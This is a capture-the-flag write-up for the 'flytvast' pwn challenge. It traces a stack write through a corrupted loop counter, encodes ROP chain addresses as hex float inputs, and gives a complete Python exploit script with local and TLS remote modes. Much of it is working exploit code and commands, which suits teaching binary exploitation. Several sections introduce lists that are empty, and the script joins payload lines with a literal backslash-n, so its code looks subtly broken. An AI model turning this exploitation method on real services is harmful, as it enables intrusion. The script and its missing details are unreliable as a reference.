Flytväst

This is a full English writeup for the flytvast pwn challenge, starting from initial binary triage and ending with a working exploit that prints the flag: undut{nu_Flyt3r_det_p4}.

Category: PWN • 64-bit Linux ELF • non-PIE • stack canary • NX • partial RELRO

Challenge Setup

The challenge story says you can order an emergency life vest from a system, but to get the special version you need to break into the service. We are given the binary flytvast, so the task is classic local binary analysis followed by remote exploitation.

The session history also showed early operational friction before the actual memory corruption work paid off: the local binary was initially not executable, direct plain TCP against the service reset the connection, and the expected sc client on this machine turned out to be the spreadsheet program rather than snicat.

Step 1: Basic Recon

The first checks were file type, symbols, and hardening.

file flytvast
readelf -h flytvast
readelf -W -l flytvast
nm -n flytvast
strings -a -n 4 flytvast

This told us:

Two important symbols immediately stood out: main and print_flag. A function literally named print_flag is usually the win function.

Step 2: Reverse the Important Functions

I disassembled the interesting parts:

objdump -d -Mintel flytvast | sed -n '/<main>:/,/^$/p'
objdump -d -Mintel flytvast | sed -n '/<print_flag>:/,/^$/p'
objdump -d -Mintel flytvast | sed -n '/<setup>:/,/^$/p'

print_flag

print_flag opens a local file called flag, reads it, and prints the contents. That confirms the target function we want to reach.

main

The program asks for repeated measurements. Each line is parsed with strtod, converted to a float, and stored on the stack. Input ends when the user sends a blank line.

The logic is approximately:

int count = 0;
char buf[0x20];

while (1) {
    printf("> ");
    fgets(buf, 0x20, stdin);
    if (buf[0] == '\n') {
        break;
    }

    float x = (float)strtod(buf, 0);
    store[count] = x;
    count++;
}

for (int i = 0; i < count; i++) {
    printf("%lf\n", (double)store[i]);
}

The bug is that store[count] is not a real bounded array. The write is computed relative to the input buffer on the stack, and after a few inputs it walks into other local variables.

Step 3: Find the Vulnerability

The critical detail is the stack layout. The write destination for the parsed float starts at one stack offset, while the variable count itself lives a little higher on the stack.

After four normal inputs, the fifth float write lands directly on count. That means the program lets us overwrite the loop counter with the raw 32-bit bits of a float value.

Once count is corrupted, the next float is written wherever the new index points. This turns the bug into an attacker-controlled stack write.

Core primitive: the 5th input controls count, and the 6th+ inputs can write chosen 32-bit values to selected stack slots.

Step 4: Why a Simple Ret2win Was Not Enough

The first idea was to overwrite the saved return address of main directly with print_flag. That almost worked, but there was a catch.

Returning straight into print_flag does not give it a valid return address in the stack layout it expects. After printing the flag, it crashes. The clean solution is to build a tiny return chain:

ret gadget -> print_flag -> exit@plt

That extra ret fixes stack alignment and gives print_flag a proper return target.

Step 5: Convert Addresses into Float Inputs

The binary stores each input as a 32-bit float. So to write a chosen 32-bit value, we reinterpret those bits as a float and send the float string.

Important values were:

Examples of the converted float strings:

0x00000008 -> 0x1p-146
0x00401566 -> 0x1.0055980000000p-127
0x004012b6 -> 0x1.004ad80000000p-127
0x004011c0 -> 0x1.0047000000000p-127

Step 6: Final Payload

The working input sequence was:

1
2
3
4
0x1p-146
0
0x1.0055980000000p-127
0
0x1.004ad80000000p-127
0
0x1.0047000000000p-127
0

What each line does:

Easy-to-miss detail: during local testing, ending input with EOF was not enough. The program does not check fgets() for NULL, so EOF made it keep printing prompts instead of cleanly breaking. The payload had to end with a real empty line, which is why the final exploit input includes two trailing newlines.

Step 7: Remote Connection Problem

There was one operational issue unrelated to exploitation: the challenge infrastructure used TLS/SNI on *.chals.io. On this machine, sc was not snicat; it was the unrelated spreadsheet calculator package from Debian.

The workaround was to use openssl s_client as the transport layer. That handled TLS correctly and let the exploit send the payload to the service.

This was not the first remote attempt. A plain socket version was tried first, but the service closed the connection with a reset. The successful path was to add an openssl-backed transport to the exploit script so it could speak TLS with the right SNI for *.chals.io.

python3 solve_flytvast.py --remote undutmaning-flytvast.chals.io --port 443 --no-ssl
ConnectionResetError: [Errno 104] Connection reset by peer

python3 solve_flytvast.py --remote undutmaning-flytvast.chals.io --port 443 --openssl
...
undut{nu_Flyt3r_det_p4}

Step 8: Exploit Script

A Python script was written to automate both local and remote exploitation. The final version supports local execution, raw socket mode, and an openssl-backed remote mode.

python3 solve_flytvast.py --remote undutmaning-flytvast.chals.io --port 443 --openssl

The session log confirms that adding --openssl was the final operational fix. Once that transport existed, the exact same exploit logic that worked locally also worked against the remote challenge service.

How solve_flytvast.py Works

The script is intentionally small. At the top it hardcodes the three addresses used by the chain: the plain ret gadget, print_flag, and exit@plt.

RET_GADGET = 0x401566
PRINT_FLAG = 0x4012B6
EXIT_PLT = 0x4011C0

The helper u32_to_float_hex() converts a raw 32-bit integer into the hexadecimal float string that the vulnerable program will parse with strtod. That is the bridge between exploit addresses and valid text input.

The real exploit is assembled in build_payload(). It returns one byte string containing the four filler measurements, the float that overwrites count with raw value 8, the zero dwords used for the high halves, the low 32-bit halves of the chain addresses, and finally the two trailing blank lines needed to terminate input cleanly.

After that, the script only has transport wrappers:

The main() function is just argument parsing. If --remote is set, it chooses either the Python socket transport or the openssl transport. Otherwise it attacks the local binary. In every case it writes the captured bytes directly to stdout so the user sees the same service output they would see manually.

Actual Script

#!/usr/bin/env python3
import argparse
import os
import socket
import ssl
import struct
import subprocess
import sys


RET_GADGET = 0x401566
PRINT_FLAG = 0x4012B6
EXIT_PLT = 0x4011C0


def u32_to_float_hex(value: int) -> str:
    return struct.unpack("<f", struct.pack("<I", value))[0].hex()


def build_payload() -> bytes:
    lines = [
        "1",
        "2",
        "3",
        "4",
        u32_to_float_hex(8),
        "0",
        u32_to_float_hex(RET_GADGET),
        "0",
        u32_to_float_hex(PRINT_FLAG),
        "0",
        u32_to_float_hex(EXIT_PLT),
        "0",
        "",
        "",
    ]
    return ("\\n".join(lines)).encode()


def run_local(binary_path: str) -> bytes:
    if not os.path.exists(binary_path):
        raise FileNotFoundError(f"binary not found: {binary_path}")

    if not os.access(binary_path, os.X_OK):
        raise PermissionError(
            f"binary is not executable: {binary_path} "
            f"(run: chmod +x {binary_path})"
        )

    proc = subprocess.run(
        [binary_path],
        input=build_payload(),
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        cwd=os.path.dirname(os.path.abspath(binary_path)) or ".",
        check=False,
    )
    return proc.stdout


def run_remote(host: str, port: int, use_ssl: bool) -> bytes:
    sock = socket.create_connection((host, port))
    if use_ssl:
        ctx = ssl.create_default_context()
        sock = ctx.wrap_socket(sock, server_hostname=host)

    with sock:
        sock.sendall(build_payload())
        sock.shutdown(socket.SHUT_WR)

        chunks = []
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            chunks.append(chunk)
        return b"".join(chunks)


def run_remote_openssl(host: str, port: int) -> bytes:
    proc = subprocess.run(
        [
            "openssl",
            "s_client",
            "-connect",
            f"{host}:{port}",
            "-servername",
            host,
            "-quiet",
        ],
        input=build_payload(),
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        check=False,
    )
    return proc.stdout


def main() -> int:
    parser = argparse.ArgumentParser(description="Exploit for the flytvast challenge binary.")
    parser.add_argument("--binary", default="./flytvast", help="Path to local binary")
    parser.add_argument("--remote", help="Remote host")
    parser.add_argument("--port", type=int, default=443, help="Remote port")
    parser.add_argument(
        "--no-ssl",
        action="store_true",
        help="Disable TLS for remote mode",
    )
    parser.add_argument(
        "--openssl",
        action="store_true",
        help="Use openssl s_client for remote mode instead of Python sockets",
    )
    args = parser.parse_args()

    if args.remote:
        if args.openssl:
            output = run_remote_openssl(args.remote, args.port)
        else:
            output = run_remote(args.remote, args.port, not args.no_ssl)
    else:
        output = run_local(args.binary)

    sys.stdout.buffer.write(output)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Flag

undut{nu_Flyt3r_det_p4}

Takeaways

Files used during solving: flytvast and solve_flytvast.py.